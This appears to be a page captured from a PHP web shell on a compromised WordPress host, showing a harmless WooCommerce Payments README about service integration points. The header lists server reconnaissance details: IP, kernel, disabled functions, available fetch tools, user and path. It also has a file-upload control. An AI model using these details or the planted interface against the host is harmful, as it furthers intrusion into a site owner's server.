| Server IP : 146.59.209.152 / Your IP : 216.73.216.152 Web Server : Apache System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : monpetu ( 144298) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/monpetu/www/ipprint/wp-content/plugins/woocommerce-payments/includes/core/service/ |
Upload File : |
# WooCommerce Payments Services ## Purpose Expose WooCommerce Payments functionality through Services. Extensions should use these integration points provided in the `WCPay\Core` namespace, and should not use any methods from other classes, which are considered internal to WCPay. In this way, extensions will be able to use services in a reliable, and compatible manner. ## Services available - [`WC_Payments_Customer_Service_API`](customer-service.md) ## Adding New Services - Add the new service within `includes\core\service`. - Service should be in `WCPay\Core` namespace. - Add functions in your service that act as proxies to the internal service methods, or consider how they might change in the future. - Add tests in `tests\unit\core\service`. - Expose service via `WC_Payments`. [🔗 More about services within WooCommerce Payments Core](../CONTRIBUTING.md)